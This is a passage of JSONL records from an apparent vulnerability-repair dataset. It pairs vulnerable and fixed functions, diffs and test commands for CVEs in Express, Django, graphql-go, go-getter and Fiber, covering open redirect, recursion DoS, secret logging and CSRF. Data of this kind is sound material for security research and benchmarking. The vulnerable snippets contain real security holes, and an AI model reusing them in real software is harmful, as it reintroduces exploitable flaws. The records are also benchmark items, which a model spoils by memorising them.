(lowerLoc.indexOf('https://') === 0 || lowerLoc.indexOf('http://') === 0) {\n    try {\n      var parsedUrl = urlParse(loc);\n      var parsedEncodedUrl = urlParse(encodedUrl);\n      // Because this can encode the host, check that we did not change the host\n      if (parsedUrl.host !== parsedEncodedUrl.host) {\n        // If the host changes after encodeUrl, return the original url\n        return this.set('Location', loc);\n      }\n    } catch (e) {\n      // If parse fails, return the original url\n      return this.set('Location', loc);\n    }\n  }\n\n  // set location\n  return this.set('Location', encodedUrl);\n};"}], "vul_patch": "--- a/lib/response.js\n+++ b/lib/response.js\n@@ -6,4 +6,23 @@\n     loc = this.req.get('Referrer') || '/';\n   }\n \n+  var lowerLoc = loc.toLowerCase();\n+  var encodedUrl = encodeUrl(loc);\n+  if (lowerLoc.indexOf('https://') === 0 || lowerLoc.indexOf('http://') === 0) {\n+    try {\n+      var parsedUrl = urlParse(loc);\n+      var parsedEncodedUrl = urlParse(encodedUrl);\n+      // Because this can encode the host, check that we did not change the host\n+      if (parsedUrl.host !== parsedEncodedUrl.host) {\n+        // If the host changes after encodeUrl, return the original url\n+        return this.set('Location', loc);\n+      }\n+    } catch (e) {\n+      // If parse fails, return the original url\n+      return this.set('Location', loc);\n+    }\n+  }\n+\n   // set location\n+  return this.set('Location', encodedUrl);\n+};\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2024-29041:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/express\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\nnpx mocha --grep 'should not encode bad \"url\"'\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2024-29041:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/express\ngit apply --whitespace=nowarn /workspace/fix.patch\nnpx mocha test/res.location.js\n"}
{"cve_id": "CVE-2017-7233", "cve_description": "Django 1.10 before 1.10.7, 1.9 before 1.9.13, and 1.8 before 1.8.18 relies on user input in some cases to redirect the user to an \"on success\" URL. The security check for these redirects (namely ``django.utils.http.is_safe_url()``) considered some numeric URLs \"safe\" when they shouldn't be, aka an open redirect vulnerability. Also, if a developer relies on ``is_safe_url()`` to provide safe redirect targets and puts such a URL into a link, they could suffer from an XSS attack.", "cwe_info": {"CWE-601": {"name": "URL Redirection to Untrusted Site ('Open Redirect')", "description": "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect."}}, "repo": "https://github.com/django/django", "patch_url": ["https://github.com/django/django/commit/8339277518c7d8ec280070a780915304654e3b66", "https://github.com/django/django/commit/254326cb3682389f55f886804d2c43f7b9f23e4f", "https://github.com/django/django/commit/f824655bc2c50b19d2f202d7640785caabc82787"], "programing_language": "Python", "vul_func": [{"id": "vul_py_8_1", "commit": "5f1ffb0", "file_path": "django/utils/http.py", "start_line": 303, "end_line": 321, "snippet": "def _is_safe_url(url, host):\n    # Chrome considers any URL with more than two slashes to be absolute, but\n    # urlparse is not so flexible. Treat any url with three slashes as unsafe.\n    if url.startswith('///'):\n        return False\n    url_info = urlparse(url)\n    # Forbid URLs like http:///example.com - with a scheme, but without a hostname.\n    # In that URL, example.com is not the hostname but, a path component. However,\n    # Chrome will still consider example.com to be the hostname, so we must not\n    # allow this syntax.\n    if not url_info.netloc and url_info.scheme:\n        return False\n    # Forbid URLs that start with control characters. Some browsers (like\n    # Chrome) ignore quite a few control characters at the start of a\n    # URL and might consider the URL as scheme relative.\n    if unicodedata.category(url[0])[0] == 'C':\n        return False\n    return ((not url_info.netloc or url_info.netloc == host) and\n            (not url_info.scheme or url_info.scheme in ['http', 'https']))"}], "fix_func": [{"id": "fix_py_8_1", "commit": "254326c", "file_path": "django/utils/http.py", "start_line": 314, "end_line": 384, "snippet": "# Copied from urllib.parse.urlparse() but uses fixed urlsplit() function.\ndef _urlparse(url, scheme='', allow_fragments=True):\n    \"\"\"Parse a URL into 6 components:\n    <scheme>://<netloc>/<path>;<params>?<query>#<fragment>\n    Return a 6-tuple: (scheme, netloc, path, params, query, fragment).\n    Note that we don't break the components up in smaller bits\n    (e.g. netloc is a single string) and we don't expand % escapes.\"\"\"\n    if _coerce_args:\n        url, scheme, _coerce_result = _coerce_args(url, scheme)\n    splitresult = _urlsplit(url, scheme, allow_fragments)\n    scheme, netloc, url, query, fragment = splitresult\n    if scheme in uses_params and ';' in url:\n        url, params = _splitparams(url)\n    else:\n        params = ''\n    result = ParseResult(scheme, netloc, url, params, query, fragment)\n    return _coerce_result(result) if _coerce_args else result\n\n\n# Copied from urllib.parse.urlsplit() with\n# https://github.com/python/cpython/pull/661 applied.\ndef _urlsplit(url, scheme='', allow_fragments=True):\n    \"\"\"Parse a URL into 5 components:\n    <scheme>://<netloc>/<path>?<query>#<fragment>\n    Return a 5-tuple: (scheme, netloc, path, query, fragment).\n    Note that we don't break the components up in smaller bits\n    (e.g. netloc is a single string) and we don't expand % escapes.\"\"\"\n    if _coerce_args:\n        url, scheme, _coerce_result = _coerce_args(url, scheme)\n    allow_fragments = bool(allow_fragments)\n    netloc = query = fragment = ''\n    i = url.find(':')\n    if i > 0:\n        for c in url[:i]:\n            if c not in scheme_chars:\n                break\n        else:\n            scheme, url = url[:i].lower(), url[i + 1:]\n\n    if url[:2] == '//':\n        netloc, url = _splitnetloc(url, 2)\n        if (('[' in netloc and ']' not in netloc) or\n                (']' in netloc and '[' not in netloc)):\n            raise ValueError(\"Invalid IPv6 URL\")\n    if allow_fragments and '#' in url:\n        url, fragment = url.split('#', 1)\n    if '?' in url:\n        url, query = url.split('?', 1)\n    v = SplitResult(scheme, netloc, url, query, fragment)\n    return _coerce_result(v) if _coerce_args else v\n\n\ndef _is_safe_url(url, host):\n    # Chrome considers any URL with more than two slashes to be absolute, but\n    # urlparse is not so flexible. Treat any url with three slashes as unsafe.\n    if url.startswith('///'):\n        return False\n    url_info = _urlparse(url)\n    # Forbid URLs like http:///example.com - with a scheme, but without a hostname.\n    # In that URL, example.com is not the hostname but, a path component. However,\n    # Chrome will still consider example.com to be the hostname, so we must not\n    # allow this syntax.\n    if not url_info.netloc and url_info.scheme:\n        return False\n    # Forbid URLs that start with control characters. Some browsers (like\n    # Chrome) ignore quite a few control characters at the start of a\n    # URL and might consider the URL as scheme relative.\n    if unicodedata.category(url[0])[0] == 'C':\n        return False\n    return ((not url_info.netloc or url_info.netloc == host) and\n            (not url_info.scheme or url_info.scheme in ['http', 'https']))"}], "vul_patch": "--- a/django/utils/http.py\n+++ b/django/utils/http.py\n@@ -1,9 +1,61 @@\n+# Copied from urllib.parse.urlparse() but uses fixed urlsplit() function.\n+def _urlparse(url, scheme='', allow_fragments=True):\n+    \"\"\"Parse a URL into 6 components:\n+    <scheme>://<netloc>/<path>;<params>?<query>#<fragment>\n+    Return a 6-tuple: (scheme, netloc, path, params, query, fragment).\n+    Note that we don't break the components up in smaller bits\n+    (e.g. netloc is a single string) and we don't expand % escapes.\"\"\"\n+    if _coerce_args:\n+        url, scheme, _coerce_result = _coerce_args(url, scheme)\n+    splitresult = _urlsplit(url, scheme, allow_fragments)\n+    scheme, netloc, url, query, fragment = splitresult\n+    if scheme in uses_params and ';' in url:\n+        url, params = _splitparams(url)\n+    else:\n+        params = ''\n+    result = ParseResult(scheme, netloc, url, params, query, fragment)\n+    return _coerce_result(result) if _coerce_args else result\n+\n+\n+# Copied from urllib.parse.urlsplit() with\n+# https://github.com/python/cpython/pull/661 applied.\n+def _urlsplit(url, scheme='', allow_fragments=True):\n+    \"\"\"Parse a URL into 5 components:\n+    <scheme>://<netloc>/<path>?<query>#<fragment>\n+    Return a 5-tuple: (scheme, netloc, path, query, fragment).\n+    Note that we don't break the components up in smaller bits\n+    (e.g. netloc is a single string) and we don't expand % escapes.\"\"\"\n+    if _coerce_args:\n+        url, scheme, _coerce_result = _coerce_args(url, scheme)\n+    allow_fragments = bool(allow_fragments)\n+    netloc = query = fragment = ''\n+    i = url.find(':')\n+    if i > 0:\n+        for c in url[:i]:\n+            if c not in scheme_chars:\n+                break\n+        else:\n+            scheme, url = url[:i].lower(), url[i + 1:]\n+\n+    if url[:2] == '//':\n+        netloc, url = _splitnetloc(url, 2)\n+        if (('[' in netloc and ']' not in netloc) or\n+                (']' in netloc and '[' not in netloc)):\n+            raise ValueError(\"Invalid IPv6 URL\")\n+    if allow_fragments and '#' in url:\n+        url, fragment = url.split('#', 1)\n+    if '?' in url:\n+        url, query = url.split('?', 1)\n+    v = SplitResult(scheme, netloc, url, query, fragment)\n+    return _coerce_result(v) if _coerce_args else v\n+\n+\n def _is_safe_url(url, host):\n     # Chrome considers any URL with more than two slashes to be absolute, but\n     # urlparse is not so flexible. Treat any url with three slashes as unsafe.\n     if url.startswith('///'):\n         return False\n-    url_info = urlparse(url)\n+    url_info = _urlparse(url)\n     # Forbid URLs like http:///example.com - with a scheme, but without a hostname.\n     # In that URL, example.com is not the hostname but, a path component. However,\n     # Chrome will still consider example.com to be the hostname, so we must not\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2017-7233:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/django\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ncd tests && /workspace/PoC_env/CVE-2017-7233/bin/python ./runtests.py utils_tests.test_http.TestUtilsHttp.test_is_safe_url\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2017-7233:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/django\ngit apply --whitespace=nowarn /workspace/fix.patch\ncd tests && /workspace/PoC_env/CVE-2017-7233/bin/python ./runtests.py utils_tests.test_http\n"}
{"cve_id": "CVE-2022-21708", "cve_description": "graphql-go is a GraphQL server with a focus on ease of use. In versions prior to 1.3.0 there exists a DoS vulnerability that is possible due to a bug in the library that would allow an attacker with specifically designed queries to cause stack overflow panics. Any user with access to the GraphQL handler can send these queries and cause stack overflows. This in turn could potentially compromise the ability of the server to serve data to its users. The issue has been patched in version `v1.3.0`. The only known workaround for this issue is to disable the `graphql.MaxDepth` option from your schema which is not recommended.", "cwe_info": {"CWE-674": {"name": "Uncontrolled Recursion", "description": "The product does not properly control the amount of recursion that takes place,  consuming excessive resources, such as allocated memory or the program stack."}}, "repo": "https://github.com/graph-gophers/graphql-go", "patch_url": ["https://github.com/graph-gophers/graphql-go/commit/eae31ca73eb3473c544710955d1dbebc22605bfe"], "programing_language": "Go", "vul_func": [{"id": "vul_go_300_1", "commit": "9d31459e3b5dee3cc34ff9733f9e8acbfe09242d", "file_path": "internal/validation/validation.go", "start_line": 238, "end_line": 273, "snippet": "func validateMaxDepth(c *opContext, sels []types.Selection, depth int) bool {\n\t// maxDepth checking is turned off when maxDepth is 0\n\tif c.maxDepth == 0 {\n\t\treturn false\n\t}\n\n\texceededMaxDepth := false\n\n\tfor _, sel := range sels {\n\t\tswitch sel := sel.(type) {\n\t\tcase *types.Field:\n\t\t\tif depth > c.maxDepth {\n\t\t\t\texceededMaxDepth = true\n\t\t\t\tc.addErr(sel.Alias.Loc, \"MaxDepthExceeded\", \"Field %q has depth %d that exceeds max depth %d\", sel.Name.Name, depth, c.maxDepth)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\texceededMaxDepth = exceededMaxDepth || validateMaxDepth(c, sel.SelectionSet, depth+1)\n\t\tcase *types.InlineFragment:\n\t\t\t// Depth is not checked because inline fragments resolve to other fields which are checked.\n\t\t\t// Depth is not incremented because inline fragments have the same depth as neighboring fields\n\t\t\texceededMaxDepth = exceededMaxDepth || validateMaxDepth(c, sel.Selections, depth)\n\t\tcase *types.FragmentSpread:\n\t\t\t// Depth is not checked because fragments resolve to other fields which are checked.\n\t\t\tfrag := c.doc.Fragments.Get(sel.Name.Name)\n\t\t\tif frag == nil {\n\t\t\t\t// In case of unknown fragment (invalid request), ignore max depth evaluation\n\t\t\t\tc.addErr(sel.Loc, \"MaxDepthEvaluationError\", \"Unknown fragment %q. Unable to evaluate depth.\", sel.Name.Name)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\t// Depth is not incremented because fragments have the same depth as surrounding fields\n\t\t\texceededMaxDepth = exceededMaxDepth || validateMaxDepth(c, frag.Selections, depth)\n\t\t}\n\t}\n\n\treturn exceededMaxDepth\n}"}], "fix_func": [{"id": "fix_go_300_1", "commit": "eae31ca73eb3473c544710955d1dbebc22605bfe", "file_path": "internal/validation/validation.go", "start_line": 241, "end_line": 287, "snippet": "func validateMaxDepth(c *opContext, sels []types.Selection, visited map[*types.FragmentDefinition]struct{}, depth int) bool {\n\t// maxDepth checking is turned off when maxDepth is 0\n\tif c.maxDepth == 0 {\n\t\treturn false\n\t}\n\n\texceededMaxDepth := false\n\tif visited == nil {\n\t\tvisited = map[*types.FragmentDefinition]struct{}{}\n\t}\n\n\tfor _, sel := range sels {\n\t\tswitch sel := sel.(type) {\n\t\tcase *types.Field:\n\t\t\tif depth > c.maxDepth {\n\t\t\t\texceededMaxDepth = true\n\t\t\t\tc.addErr(sel.Alias.Loc, \"MaxDepthExceeded\", \"Field %q has depth %d that exceeds max depth %d\", sel.Name.Name, depth, c.maxDepth)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\texceededMaxDepth = exceededMaxDepth || validateMaxDepth(c, sel.SelectionSet, visited, depth+1)\n\n\t\tcase *types.InlineFragment:\n\t\t\t// Depth is not checked because inline fragments resolve to other fields which are checked.\n\t\t\t// Depth is not incremented because inline fragments have the same depth as neighboring fields\n\t\t\texceededMaxDepth = exceededMaxDepth || validateMaxDepth(c, sel.Selections, visited, depth)\n\t\tcase *types.FragmentSpread:\n\t\t\t// Depth is not checked because fragments resolve to other fields which are checked.\n\t\t\tfrag := c.doc.Fragments.Get(sel.Name.Name)\n\t\t\tif frag == nil {\n\t\t\t\t// In case of unknown fragment (invalid request), ignore max depth evaluation\n\t\t\t\tc.addErr(sel.Loc, \"MaxDepthEvaluationError\", \"Unknown fragment %q. Unable to evaluate depth.\", sel.Name.Name)\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tif _, ok := visited[frag]; ok {\n\t\t\t\t// we've already seen this fragment, don't check depth again.\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tvisited[frag] = struct{}{}\n\n\t\t\t// Depth is not incremented because fragments have the same depth as surrounding fields\n\t\t\texceededMaxDepth = exceededMaxDepth || validateMaxDepth(c, frag.Selections, visited, depth)\n\t\t}\n\t}\n\n\treturn exceededMaxDepth\n}"}], "vul_patch": "--- a/internal/validation/validation.go\n+++ b/internal/validation/validation.go\n@@ -1,10 +1,13 @@\n-func validateMaxDepth(c *opContext, sels []types.Selection, depth int) bool {\n+func validateMaxDepth(c *opContext, sels []types.Selection, visited map[*types.FragmentDefinition]struct{}, depth int) bool {\n \t// maxDepth checking is turned off when maxDepth is 0\n \tif c.maxDepth == 0 {\n \t\treturn false\n \t}\n \n \texceededMaxDepth := false\n+\tif visited == nil {\n+\t\tvisited = map[*types.FragmentDefinition]struct{}{}\n+\t}\n \n \tfor _, sel := range sels {\n \t\tswitch sel := sel.(type) {\n@@ -14,11 +17,12 @@\n \t\t\t\tc.addErr(sel.Alias.Loc, \"MaxDepthExceeded\", \"Field %q has depth %d that exceeds max depth %d\", sel.Name.Name, depth, c.maxDepth)\n \t\t\t\tcontinue\n \t\t\t}\n-\t\t\texceededMaxDepth = exceededMaxDepth || validateMaxDepth(c, sel.SelectionSet, depth+1)\n+\t\t\texceededMaxDepth = exceededMaxDepth || validateMaxDepth(c, sel.SelectionSet, visited, depth+1)\n+\n \t\tcase *types.InlineFragment:\n \t\t\t// Depth is not checked because inline fragments resolve to other fields which are checked.\n \t\t\t// Depth is not incremented because inline fragments have the same depth as neighboring fields\n-\t\t\texceededMaxDepth = exceededMaxDepth || validateMaxDepth(c, sel.Selections, depth)\n+\t\t\texceededMaxDepth = exceededMaxDepth || validateMaxDepth(c, sel.Selections, visited, depth)\n \t\tcase *types.FragmentSpread:\n \t\t\t// Depth is not checked because fragments resolve to other fields which are checked.\n \t\t\tfrag := c.doc.Fragments.Get(sel.Name.Name)\n@@ -27,8 +31,15 @@\n \t\t\t\tc.addErr(sel.Loc, \"MaxDepthEvaluationError\", \"Unknown fragment %q. Unable to evaluate depth.\", sel.Name.Name)\n \t\t\t\tcontinue\n \t\t\t}\n+\n+\t\t\tif _, ok := visited[frag]; ok {\n+\t\t\t\t// we've already seen this fragment, don't check depth again.\n+\t\t\t\tcontinue\n+\t\t\t}\n+\t\t\tvisited[frag] = struct{}{}\n+\n \t\t\t// Depth is not incremented because fragments have the same depth as surrounding fields\n-\t\t\texceededMaxDepth = exceededMaxDepth || validateMaxDepth(c, frag.Selections, depth)\n+\t\t\texceededMaxDepth = exceededMaxDepth || validateMaxDepth(c, frag.Selections, visited, depth)\n \t\t}\n \t}\n \n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-29810", "cve_description": "The Hashicorp go-getter library before 1.5.11 does not redact an SSH key from a URL query parameter.", "cwe_info": {"CWE-532": {"name": "Insertion of Sensitive Information into Log File", "description": "The product writes sensitive information to a log file."}}, "repo": "https://github.com/hashicorp/go-getter", "patch_url": ["https://github.com/hashicorp/go-getter/commit/36b68b2f68a3ed10ee7ecbb0cb9f6b1dc5da49cc"], "programing_language": "Go", "vul_func": [{"id": "vul_go_85_1", "commit": "23702d0", "file_path": "url.go", "start_line": "9", "end_line": "19", "snippet": "func RedactURL(u *url.URL) string {\n\tif u == nil {\n\t\treturn \"\"\n\t}\n\n\tru := *u\n\tif _, has := ru.User.Password(); has {\n\t\tru.User = url.UserPassword(ru.User.Username(), \"xxxxx\")\n\t}\n\treturn ru.String()\n}"}], "fix_func": [{"id": "fix_go_85_1", "commit": "36b68b2", "file_path": "url.go", "start_line": "9", "end_line": "24", "snippet": "func RedactURL(u *url.URL) string {\n\tif u == nil {\n\t\treturn \"\"\n\t}\n\n\tru := *u\n\tif _, has := ru.User.Password(); has {\n\t\tru.User = url.UserPassword(ru.User.Username(), \"redacted\")\n\t}\n\tq := ru.Query()\n\tif q.Get(\"sshkey\") != \"\" {\n\t\tq.Set(\"sshkey\", \"redacted\")\n\t\tru.RawQuery = q.Encode()\n\t}\n\treturn ru.String()\n}"}], "vul_patch": "--- a/url.go\n+++ b/url.go\n@@ -5,7 +5,12 @@\n \n \tru := *u\n \tif _, has := ru.User.Password(); has {\n-\t\tru.User = url.UserPassword(ru.User.Username(), \"xxxxx\")\n+\t\tru.User = url.UserPassword(ru.User.Username(), \"redacted\")\n+\t}\n+\tq := ru.Query()\n+\tif q.Get(\"sshkey\") != \"\" {\n+\t\tq.Set(\"sshkey\", \"redacted\")\n+\t\tru.RawQuery = q.Encode()\n \t}\n \treturn ru.String()\n }\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-45128", "cve_description": "Fiber is an express inspired web framework written in Go. A Cross-Site Request Forgery (CSRF) vulnerability has been identified in the application, which allows an attacker to inject arbitrary values and forge malicious requests on behalf of a user. This vulnerability can allow an attacker to inject arbitrary values without any authentication, or perform various malicious actions on behalf of an authenticated user, potentially compromising the security and integrity of the application. The vulnerability is caused by improper validation and enforcement of CSRF tokens within the application. This issue has been addressed in version 2.50.0 and users are advised to upgrade. Users should take additional security measures like captchas or Two-Factor Authentication (2FA) and set Session cookies with SameSite=Lax or SameSite=Secure, and the Secure and HttpOnly attributes as defense in depth measures. There are no known workarounds for this vulnerability.", "cwe_info": {"CWE-352": {"name": "Cross-Site Request Forgery (CSRF)", "description": "The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor. "}}, "repo": "https://github.com/gofiber/fiber", "patch_url": ["https://github.com/gofiber/fiber/commit/8c3916dbf4ad2ed427d02c6eb63ae8b2fa8f019a"], "programing_language": "Go", "vul_func": [{"id": "vul_go_81_1", "commit": "d736d3a64433385b0fc0189e16a36a2f4facb67d", "file_path": "middleware/csrf/csrf.go", "start_line": 26, "end_line": 138, "snippet": "func New(config ...Config) fiber.Handler {\n\t// Set default config\n\tcfg := configDefault(config...)\n\n\t// Create manager to simplify storage operations ( see *_manager.go )\n\tvar sessionManager *sessionManager\n\tvar storageManager *storageManager\n\tif cfg.Session != nil {\n\t\t// Register the Token struct in the session store\n\t\tcfg.Session.RegisterType(Token{})\n\n\t\tsessionManager = newSessionManager(cfg.Session, cfg.SessionKey)\n\t} else {\n\t\tstorageManager = newStorageManager(cfg.Storage)\n\t}\n\n\t// Return new handler\n\treturn func(c *fiber.Ctx) error {\n\t\t// Don't execute middleware if Next returns true\n\t\tif cfg.Next != nil && cfg.Next(c) {\n\t\t\treturn c.Next()\n\t\t}\n\n\t\t// Store the CSRF handler in the context if a context key is specified\n\t\tif cfg.HandlerContextKey != \"\" {\n\t\t\tc.Locals(cfg.HandlerContextKey, &CSRFHandler{\n\t\t\t\tconfig:         &cfg,\n\t\t\t\tsessionManager: sessionManager,\n\t\t\t\tstorageManager: storageManager,\n\t\t\t})\n\t\t}\n\n\t\tvar token string\n\n\t\t// Action depends on the HTTP method\n\t\tswitch c.Method() {\n\t\tcase fiber.MethodGet, fiber.MethodHead, fiber.MethodOptions, fiber.MethodTrace:\n\t\t\tcookieToken := c.Cookies(cfg.CookieName)\n\n\t\t\tif cookieToken != \"\" {\n\t\t\t\trawToken := getTokenFromStorage(c, cookieToken, cfg, sessionManager, storageManager)\n\n\t\t\t\tif rawToken != nil {\n\t\t\t\t\ttoken = string(rawToken)\n\t\t\t\t}\n\t\t\t}\n\t\tdefault:\n\t\t\t// Assume that anything not defined as 'safe' by RFC7231 needs protection\n\n\t\t\t// Enforce an origin check for HTTPS connections.\n\t\t\tif c.Protocol() == \"https\" {\n\t\t\t\tif err := refererMatchesHost(c); err != nil {\n\t\t\t\t\treturn cfg.ErrorHandler(c, err)\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Extract token from client request i.e. header, query, param, form or cookie\n\t\t\textractedToken, err := cfg.Extractor(c)\n\t\t\tif err != nil {\n\t\t\t\treturn cfg.ErrorHandler(c, err)\n\t\t\t}\n\n\t\t\tif extractedToken == \"\" {\n\t\t\t\treturn cfg.ErrorHandler(c, ErrTokenNotFound)\n\t\t\t}\n\n\t\t\t// If not using CsrfFromCookie extractor, check that the token matches the cookie\n\t\t\t// This is to prevent CSRF attacks by using a Double Submit Cookie method\n\t\t\t// Useful when we do not have access to the users Session\n\t\t\tif !isCsrfFromCookie(cfg.Extractor) && extractedToken != c.Cookies(cfg.CookieName) {\n\t\t\t\treturn cfg.ErrorHandler(c, ErrTokenInvalid)\n\t\t\t}\n\n\t\t\trawToken := getTokenFromStorage(c, extractedToken, cfg, sessionManager, storageManager)\n\n\t\t\tif rawToken == nil {\n\t\t\t\t// If token is not in storage, expire the cookie\n\t\t\t\texpireCSRFCookie(c, cfg)\n\t\t\t\t// and return an error\n\t\t\t\treturn cfg.ErrorHandler(c, ErrTokenNotFound)\n\t\t\t}\n\t\t\tif cfg.SingleUseToken {\n\t\t\t\t// If token is single use, delete it from storage\n\t\t\t\tdeleteTokenFromStorage(c, extractedToken, cfg, sessionManager, storageManager)\n\t\t\t} else {\n\t\t\t\ttoken = string(rawToken)\n\t\t\t}\n\t\t}\n\n\t\t// Generate CSRF token if not exist\n\t\tif token == \"\" {\n\t\t\t// And generate a new token\n\t\t\ttoken = cfg.KeyGenerator()\n\t\t}\n\n\t\t// Create or extend the token in the storage\n\t\tcreateOrExtendTokenInStorage(c, token, cfg, sessionManager, storageManager)\n\n\t\t// Update the CSRF cookie\n\t\tupdateCSRFCookie(c, cfg, token)\n\n\t\t// Tell the browser that a new header value is generated\n\t\tc.Vary(fiber.HeaderCookie)\n\n\t\t// Store the token in the context if a context key is specified\n\t\tif cfg.ContextKey != \"\" {\n\t\t\tc.Locals(cfg.ContextKey, token)\n\t\t}\n\n\t\t// Continue stack\n\t\treturn c.Next()\n\t}\n}"}, {"id": "vul_go_81_2", "commit": "d736d3a64433385b0fc0189e16a36a2f4facb67d", "file_path": "middleware/csrf/csrf.go", "start_line": 142, "end_line": 147, "snippet": "func getTokenFromStorage(c *fiber.Ctx, token string, cfg Config, sessionManager *sessionManager, storageManager *storageManager) []byte {\n\tif cfg.Session != nil {\n\t\treturn sessionManager.getRaw(c, token, dummyValue)\n\t}\n\treturn storageManager.getRaw(token)\n}"}], "fix_func": [{"id": "fix_go_81_1", "commit": "8c3916dbf4ad2ed427d02c6eb63ae8b2fa8f019a", "file_path": "middleware/csrf/csrf.go", "start_line": 27, "end_line": 139, "snippet": "func New(config ...Config) fiber.Handler {\n\t// Set default config\n\tcfg := configDefault(config...)\n\n\t// Create manager to simplify storage operations ( see *_manager.go )\n\tvar sessionManager *sessionManager\n\tvar storageManager *storageManager\n\tif cfg.Session != nil {\n\t\t// Register the Token struct in the session store\n\t\tcfg.Session.RegisterType(Token{})\n\n\t\tsessionManager = newSessionManager(cfg.Session, cfg.SessionKey)\n\t} else {\n\t\tstorageManager = newStorageManager(cfg.Storage)\n\t}\n\n\t// Return new handler\n\treturn func(c *fiber.Ctx) error {\n\t\t// Don't execute middleware if Next returns true\n\t\tif cfg.Next != nil && cfg.Next(c) {\n\t\t\treturn c.Next()\n\t\t}\n\n\t\t// Store the CSRF handler in the context if a context key is specified\n\t\tif cfg.HandlerContextKey != \"\" {\n\t\t\tc.Locals(cfg.HandlerContextKey, &CSRFHandler{\n\t\t\t\tconfig:         &cfg,\n\t\t\t\tsessionManager: sessionManager,\n\t\t\t\tstorageManager: storageManager,\n\t\t\t})\n\t\t}\n\n\t\tvar token string\n\n\t\t// Action depends on the HTTP method\n\t\tswitch c.Method() {\n\t\tcase fiber.MethodGet, fiber.MethodHead, fiber.MethodOptions, fiber.MethodTrace:\n\t\t\tcookieToken := c.Cookies(cfg.CookieName)\n\n\t\t\tif cookieToken != \"\" {\n\t\t\t\traw := getRawFromStorage(c, cookieToken, cfg, sessionManager, storageManager)\n\n\t\t\t\tif raw != nil {\n\t\t\t\t\ttoken = cookieToken // Token is valid, safe to set it\n\t\t\t\t}\n\t\t\t}\n\t\tdefault:\n\t\t\t// Assume that anything not defined as 'safe' by RFC7231 needs protection\n\n\t\t\t// Enforce an origin check for HTTPS connections.\n\t\t\tif c.Protocol() == \"https\" {\n\t\t\t\tif err := refererMatchesHost(c); err != nil {\n\t\t\t\t\treturn cfg.ErrorHandler(c, err)\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Extract token from client request i.e. header, query, param, form or cookie\n\t\t\textractedToken, err := cfg.Extractor(c)\n\t\t\tif err != nil {\n\t\t\t\treturn cfg.ErrorHandler(c, err)\n\t\t\t}\n\n\t\t\tif extractedToken == \"\" {\n\t\t\t\treturn cfg.ErrorHandler(c, ErrTokenNotFound)\n\t\t\t}\n\n\t\t\t// If not using CsrfFromCookie extractor, check that the token matches the cookie\n\t\t\t// This is to prevent CSRF attacks by using a Double Submit Cookie method\n\t\t\t// Useful when we do not have access to the users Session\n\t\t\tif !isCsrfFromCookie(cfg.Extractor) && !compareStrings(extractedToken, c.Cookies(cfg.CookieName)) {\n\t\t\t\treturn cfg.ErrorHandler(c, ErrTokenInvalid)\n\t\t\t}\n\n\t\t\traw := getRawFromStorage(c, extractedToken, cfg, sessionManager, storageManager)\n\n\t\t\tif raw == nil {\n\t\t\t\t// If token is not in storage, expire the cookie\n\t\t\t\texpireCSRFCookie(c, cfg)\n\t\t\t\t// and return an error\n\t\t\t\treturn cfg.ErrorHandler(c, ErrTokenNotFound)\n\t\t\t}\n\t\t\tif cfg.SingleUseToken {\n\t\t\t\t// If token is single use, delete it from storage\n\t\t\t\tdeleteTokenFromStorage(c, extractedToken, cfg, sessionManager, storageManager)\n\t\t\t} else {\n\t\t\t\ttoken = extractedToken // Token is valid, safe to set it\n\t\t\t}\n\t\t}\n\n\t\t// Generate CSRF token if not exist\n\t\tif token == \"\" {\n\t\t\t// And generate a new token\n\t\t\ttoken = cfg.KeyGenerator()\n\t\t}\n\n\t\t// Create or extend the token in the storage\n\t\tcreateOrExtendTokenInStorage(c, token, cfg, sessionManager, storageManager)\n\n\t\t// Update the CSRF cookie\n\t\tupdateCSRFCookie(c, cfg, token)\n\n\t\t// Tell the browser that a new header value is generated\n\t\tc.Vary(fiber.HeaderCookie)\n\n\t\t// Store the token in the context if a context key is specified\n\t\tif cfg.ContextKey != \"\" {\n\t\t\tc.Locals(cfg.ContextKey, token)\n\t\t}\n\n\t\t// Continue stack\n\t\treturn c.Next()\n\t}\n}"}, {"id": "fix_go_81_2", "commit": "8c3916dbf4ad2ed427d02c6eb63ae8b2fa8f019a", "file_path": "middleware/csrf/csrf.go", "start_line": 143, "end_line": 148, "snippet": "func getRawFromStorage(c *fiber.Ctx, token string, cfg Config, sessionManager *sessionManager, storageManager *storageManager) []byte {\n\tif cfg.Session != nil {\n\t\treturn sessionManager.getRaw(c, token, dummyValue)\n\t}\n\treturn storageManager.getRaw(token)\n}"}, {"id": "fix_go_81_3", "commit": "8c3916dbf4ad2ed427d02c6eb63ae8b2fa8f019a", "file_path": "middleware/csrf/csrf.go", "start_line": 222, "end_line": 238, "snippet": "func refererMatchesHost(c *fiber.Ctx) error {\n\treferer := c.Get(fiber.HeaderReferer)\n\tif referer == \"\" {\n\t\treturn ErrNoReferer\n\t}\n\n\trefererURL, err := url.Parse(referer)\n\tif err != nil {\n\t\treturn ErrBadReferer\n\t}\n\n\tif refererURL.Scheme+\"://\"+refererURL.Host != c.Protocol()+\"://\"+c.Hostname() {\n\t\treturn ErrBadReferer\n\t}\n\n\treturn nil\n}"}, {"id": "fix_go_81_4", "commit": 